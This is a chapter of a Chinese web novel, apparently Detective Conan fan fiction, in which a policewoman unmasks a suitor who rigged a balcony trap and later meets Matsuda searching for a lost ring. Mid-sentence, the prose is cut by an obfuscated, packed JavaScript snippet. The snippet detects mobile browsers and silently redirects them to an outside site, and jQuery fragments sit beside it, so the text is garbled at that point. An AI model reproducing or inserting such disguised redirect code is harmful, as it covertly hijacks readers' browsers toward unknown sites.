纱川纱桃子脸色一白。
救命!四枚戒指全掉在二号手边了啊啊啊——!
刚刚掉出来那么大声,诸伏景光不可能发现不了……
完了完了,怎么办怎么办……
纱川纱桃子腿都开始发抖,哆嗦着看向那扇紧闭的柜门。
别问她为什么天天随身带着所有戒指,四个定时炸弹,谁敢放家里?不带在眼皮底下,哪天被谁发现了怎么办!
壁橱里一点动静都没有。
纱川纱桃子心都提到了嗓子眼,但很显然,现在不是冲进去解释的时候。
“纱·川·警·官。”
安室透温和的嗓音响起,紫灰色的眸子深沉如海,明明笑着,却分明带着质问——为什么没有乖乖待在房间里。
“……”纱川纱桃子心虚地移开目光。
此时,全场寂静无声。
就连倒在地上的毛利小五郎,也没声了。
纱川纱桃子:“!”
草,不会是被她撞晕的吧?
纱川纱桃子一惊:“毛利侦探?你没事吧?”
江户川柯南:“……!”
“没、没事,咳咳……我只是头有点晕,想躺一下。”
毛利小五郎一动不动的身体,传来说话的声音。
纱川纱桃子:“?”
“你要躺在地上?”纱川纱桃子眼神诡异起来,“还有你说话为什么不张嘴……”
“啊啊!纱川警官!”
江户川柯南飞快冲出来,挡在毛利小五郎身前,语气紧张到不行,“不用管叔叔!你为什么会从壁橱里出来?你说的犯人又是怎么回事?”
……嗯?
纱川纱桃子眯了眯眼。
这小鬼明显在掩饰什么,但在场的人却没察觉,反而纷纷从震惊中醒神。
“纱川警官,你没事真是太好了……”毛利兰扑过来,眼睛又红了。
“纱川警官,你是被犯人关在柜子里的吗?”铃木园子追问。
“这倒不是。”纱川纱桃子一本正经地胡扯,“我故意藏起来,就是为了观察你们的反应。”
她话锋一转,冷冷地盯住人群中某个身影:“结果已经很清楚了——”
“大仓圭介。”
纱川纱桃子一字一顿:“犯人,就是你。”
“纱川小姐……”
大仓圭介终于像是回过神来,却完全没理会她的指证,反而脸上浮现出放松和惊喜:“纱川小姐你没事真是太好了!”
说着,冲过来就想抓她的手——
一大一小两个身影同时挡在她身前。
“圭介先生。”安室透一手攥住对方的胳膊,微微收紧,“我想,我们应该先听纱川警官把话说完,对吗?”
江户川柯南同样眼神犀利:“纱川警官说犯人就是你。”
大仓圭介脸色一变,一把甩开两人,不敢置信地看向她:“你在说什么,纱川小姐?我怎么可能会伤害你!我那么爱你……”
“你先闭嘴。”
纱川纱桃子不耐烦地打断,她现在一想到四枚戒指全在二号手里,就手心冒汗,根本没心思陪这人演戏,只想着速战速决:“我懒得管你动机是什么,反正犯人就是你。”
“别跟我说什么你当时在大厅。很简单,你在房间里设置了机关,问题就在地毯上。”
纱川纱桃子扫了一眼房间,正要开口:“有没有细绳……”
“这里!”江户川柯南抢先举起一根钓鱼线,“叔叔已经让人准备好了,纱川警官!”
纱川纱桃子默默看了眼他手里齐全的道具,又扫了眼一边呼呼大睡的毛利小五郎,目光微妙。
“那看来机关怎么设置的,毛利侦探也跟你说了?”她挑眉。
“嗯、嗯……”江户川柯南心头莫名发虚,“怎、怎么了,纱川警官?”
“没什么。”
纱川纱桃子若无其事地收回目光,冲他温柔一笑:“既然毛利侦探都和你说了,那就你来吧。首先,用钓鱼线固定住地毯。”
江户川柯南被笑得有点发毛,却也只能照做。
“先把钓鱼线缠在地毯边角,固定好。另一端顺着踢脚线,绕进窗帘滑轨里,这样几乎不会被人发现。”
他边操作边解释,把鱼线延伸到阳台,系在装满水的大瓷瓶上,再用窗帘挡住:“这个机关的关键在于延时,所以用第二根细线吊住重物。等火焰烧断这根线,重物才会坠落,第一根线就会猛地收紧,把地毯拽开。”
说着,江户川柯南点燃蜡烛,把第二根细线搭上火苗上方,示意众人后退半步。
“如果把这个茶杯,当作站在地毯上的人。”江户川柯南将一个空杯子放在地毯上,“当这根细线被烧断——”
伴随着“噗”地一声,被吊住的瓷瓶坠落,连带第一根钓鱼线倏地一紧。
地毯边角被猛地拽开,放在地毯上的杯子立刻被甩飞,砸到窗边!
众人齐齐一惊。
“这就是把人从阳台甩出去的瞬发力。”
江户川柯南一抬头,就看到纱川纱桃子和安室透正盯着他,顿时磕巴了一下:“是、是叔叔教我的!我也不知道对不对……”
“毛利侦探的推理一向很厉害。”安室透意味深长地说了一句。
纱川纱桃子基本已经确定了。
江户川柯南这娃绝对不正常,并且安室透多半也看出了什么,只是没点破……
她眯了眯眼,暂且把这事记在心里。
“没错,就是这样,只要我当时站在地毯上,突如其来的拉力就会把我整个人甩出阳台。”
纱川纱桃子转过身:“至于起火——那是犯人提前在地毯和窗帘上洒了高浓度的烈酒,然后把烛台用第三根线牵住。等重物坠落、地毯甩开的同时,烛台也会被带翻,火星落在酒渍上,瞬间引燃。”
“这么做可以完美烧毁这个房间里,所有的机关和证据,但是很可惜,火扑灭得太快了。”
纱川纱桃子走到房间中央,指向几处痕迹:“这里,还有这里,能看到细线摩擦留下的划痕。那边甚至还残留了一截没烧到的线头。地毯和窗帘上,全是烈酒味。”
她目光一转,冷冷锁定大仓圭介。
“能提前进入房间布置机关,又清楚烈酒存放位置的,只可能是大仓家自己人。”
纱川纱桃子不耐烦地抱住手臂:“你在对我起了杀心之后,刚好发现你的大哥和二姐各有小动作,于是顺水推舟,把机关布置在我换衣服的房间里,正好可以将锅甩到他们……”
“纱川小姐,你没有受伤?”大仓圭介冷不丁开口。
纱川纱桃子一愣。
“机关听起来很危险。”大仓圭介紧紧盯住她,声音里带着焦急,“你真的没受伤吗?”
毛利兰和铃木园子也立刻反应过来,神色紧张:“对呀!纱川警官,你有没有哪里受伤?你从那么高的地方掉下去,真的没事吗?”
“没事,我那是将计就计。”纱川纱桃子再次用同样的理由糊弄。
“原来如此……”大仓圭介神情恍惚了一瞬,随即竟笑了起来,“不愧是我喜欢的纱川小姐,真是又漂亮又聪明。”
纱川纱桃子:“?”
纱川纱桃子被他盯得起了一身鸡皮疙瘩,还没来得及说话,就见眼前多了一道身影。
安室透再次挡在她面前,眉头紧皱,紫灰色的瞳孔沉沉锁住对方:“圭介少爷,这算是认罪的意思吗?”
“等、等一下!”
反倒是大仓绫乃急了,喊道:“这只能说明机关是大仓家的人布置的,为什么要说是圭介?大仓家还有那么多佣人!”
“因为那截没被烧毁的线头。”江户川柯南下意识答道,说完才觉不对,赶紧补一句,“咳,叔叔是这么说的,对吧,纱川警官?”
“没错。”
纱川纱桃子从安室透身后探出头来,给予最后一击:“那截线头打的是双半结,非常特别。而这个结——和你刚才衣摆撕裂时随手打上的结,一模一样!你还有什么好狡辩的,大仓圭介!”
瞬间,所有人都盯向了大仓圭介衣摆上的结。
“怎、怎么会……”有人忍不住捂住嘴,“竟然真的是圭介少爷……”
大仓圭介沉默不语,额前垂下的头发,遮住了他脸上的表情。
“为什么?”毛利兰难以置信:“圭介先生,你不是说喜欢纱川警官吗?难道这一切都是假的?刚刚的担心、紧张……也全是演出来的?”
“当然不是演出来的!”
大仓圭介猛地抬起头,目光死死盯住纱川纱桃子,眼中露出疯狂:“没人比我更爱纱川小姐,你们根本什么都不懂!我爱她,为她可以做任何事……她不接受我就算了,还带别的男人来气我!”
江户川柯南皱眉:“就因为纱川警官不喜欢你,你就要杀了她,这怎么能算是爱?”
就是啊,安室透说你呢!
纱川纱桃子刚瞪了一眼安室透,就见大仓圭介忽然笑了。
那笑容阴郁而狂热,令在场所有人都愣住。
“所以我才说你们什么都不懂。”他低声喃喃,脸上露出病态的笑意,“我怎么可能舍得杀她?我计算过了,这个高度摔下去不会死人——所以我才想到一个绝妙的办法。”
大仓圭介眼底闪烁着扭曲的光:“只要纱川小姐摔断了腿,残废了,那我就能理所当然地照顾她一辈子!哪怕你半身不遂,纱川小姐,我也会永远养着你!”
场内一片死寂。
所有人都被这疯狂的动机吓住了。
“疯、疯了吧……”铃木园子脸色惨白,连连后退。
而纱川纱桃子只觉得血直冲脑门。
——不·会·死?
你他妈的再说一遍?!
她可是实打实地摔死过一回!整整一百点生气值!骨头全断、五脏六腑破裂,疼得她现在想起来都浑身冒冷汗!
就为这个,把她活生生推下楼?!
纱川纱桃子直接气懵了,拳头捏得咯吱作响:“好好好,不会死是吧?那我把你扔下去,让你感受感受什么叫不会死——”
“纱川警官?!”
“纱川小姐!”
众人都是一惊,七手八脚地来拦她,现场顿时乱成一团。
“纱川。”
手腕被安室透稳稳扣住,他面色不改,语气却明显压低,紫灰色的眸子沉得仿佛能滴出墨来。
看起来是真的在生气。
但这家伙不也是个用“杀了你”来威胁她的坏蛋吗!
纱川纱桃子抿紧唇,甩开他的手:“听到没有?这种威胁,才不叫爱。”
“放心,不会让他逃脱法律制裁的。”安室透眼神泛冷。
纱川纱桃子:“?”
谁跟你说这个了!
这犯罪分子,居然还有脸说法律……
纱川纱桃子简直一言难尽。
……
……
之后,众人乱糟糟地报警、处理案件后续。
很快,诸伏景光也从人群中走了过来。
纱川纱桃子心头一紧,走路都差点同手同脚。
趁混乱,她连忙把人拉到一边:“那个,小景……”
“你是要找这个?”诸伏景光摊开掌心,四枚戒指整
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308411|180622||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
整齐齐地躺在那里。
纱川纱桃子:“……”
……完蛋!
纱川纱桃子脑子瞬间转上高速,在他质问之前,抢先开口:“是这样的,刚才换衣服的时候戒指掉进了首饰盒,我怕被小兰她们发现,就一时慌张抓了好几个,还没来得及放回去……”
诸伏景光的神情平静,像是信了,又像是没信,只是把戒指全都还给了她。
“你一直都随身带着?”诸伏景光低声问。
纱川纱桃子心里一喜,见他没在意另外三枚,忙不迭地点头:“当然,一刻不离身!”
诸伏景光看她的眼神更复杂了。
随即,他的视线落在她身后。
纱川纱桃子转过头,看到了站在拐角的安室透。
目光同样复杂。
纱川纱桃子:“……”
纱川纱桃子背脊一僵,飞快捏紧手里的戒指:“我、我去把戒指放回去!”
说完,转身就跑。
是的,她怂了。
经过大仓圭介这一波,她怕安室透不杀她了,改成打断她的腿……
纱川纱桃子脸色发绿。
……等她假装“放回戒指”再回来时,诸伏景光脸色果然不太好。
纱川纱桃子都愁死了,也不知道是因为安室透的事暴露了,还是戒指没糊弄过去。
【[系统]:叮!成功逮捕凶案犯人,生气值+10,[大仓家坠楼杀人未遂事件]已录入档案。】
伴随提示音响起,大仓圭介被押上警车。
纱川纱桃子既是警察,又是受害人,自然要一起回去做笔录。
临走前,她还想找诸伏景光再说句话,但他却全程不与她对视。
她要抓他的手,也被躲开……
反倒是安室透,悄无声息地握住了她的手。
“任务的事,我们会处理。”安室透压低声音,眼神扫过四周,轻轻碰了碰她的发顶,“乖一点,别再闹脾气了。”
纱川纱桃子:“……”
又、又在威胁她听话。
纱川纱桃子忧心忡忡地走向警车。
“纱川警官辛苦了。”高木涉一见她,就义愤填膺,“没想到那个大仓圭介竟然是这种人!拒绝他怎么了,去联谊又怎么了……噫!”
纱川纱桃子一把拧住他的腰,阴森森开口:“你再说一句联谊试试?”
“好、好的,纱川警官……”高木涉立刻噤声,一脸委屈。
纱川纱桃子根本不敢回头看安室透和诸伏景光的眼神,只能硬着头皮坐进警车。
情况糟透了。
诸伏景光的态度冰冷,安室透的威胁如影随形,这三角关系简直随时可能爆炸。
而她却一朝回到解放前,生气值就只剩下十几点……身上的淤青都没修复完。
更别提这居高不下的死亡率,再来一次命案,她就要彻底暴毙。
这样不行!
纱川纱桃子回警视厅折腾完,已近凌晨。
她拒绝了要送她回家的殷勤同事,独自走在回家的路上。夜风带着凉意,她皱眉琢磨,谁才是最容易甩掉的一个。
思来想去,还是松田阵平最简单。
好歹他看起来不会打断她的腿。
正想着,耳边忽然传来路边的争吵声——
“你也不看看几点了?再纠缠我要报警了啊?”
“马上,再给我十分钟。”
……不会又是案子吧?
纱川纱桃子警觉地停下脚步,转头一看,才发现这里竟然是米花文化会馆。
正是白天那起棋手被杀案的现场。
原来离她家这么近吗……
纱川纱桃子正愣神,就见一个人影被保安粗暴地推了出来。
“真是够了!我们也要下班的,先生。再不走我真报警了!”
“等等……”
被赶出来的男人烦躁地拂了把后脑的头发,下一秒,就和她四目相对。
——竟然是松田阵平。
看到她,松田阵平也愣住:“你怎么在这?”
“……”纱川纱桃子无语,“这话该我问你好吧?大半夜的扰民,总不会里面有炸弹吧?”
“有点事。”松田阵平懒懒地开口,话还没说完,那边保安先喊了起来,
“这不是白天的那位警官小姐吗?太好了!这个男人八点多跑过来,说有东西落在里面,硬是找了四个多小时!我看他就是找茬的!”
纱川纱桃子疑惑:“找东西?”
松田阵平扯了扯嘴角,掏出烟盒:“真是麻烦,我明天再来行了吧。”
纱川纱桃子忽然意识到什么:“等等,你该不会是找……”
“嗯,来找戒指。不是说在这里弄丢的?”松田阵平语气轻松,走过来牵她,“你不是早下班了,怎么这个点才回家?”
纱川纱桃子懵了一下。
“你一直找到现在?”她不敢置信地盯着他,“你是笨蛋吗?”
松田阵平脚步顿住,静静地看着她没说话,烟盒在他指间捏得发紧。
纱川纱桃子心里一虚。
戒指丢了是她胡扯的没错……过分就过分,反正要分手!
纱川纱桃子心一横,正准备闭眼喊出来算了——
“我只是想证明给你看,纱川纱桃子。”
“什么?”她一愣。
“戒指丢了,就是上天的警告,说明我们不合适?”松田阵平嗤笑。
路灯下,他黑色的瞳孔亮得惊人,仿佛两簇压不下去的火焰,倒映着她的脸。
“那我就证明给你看,我们这辈子都要在一起。”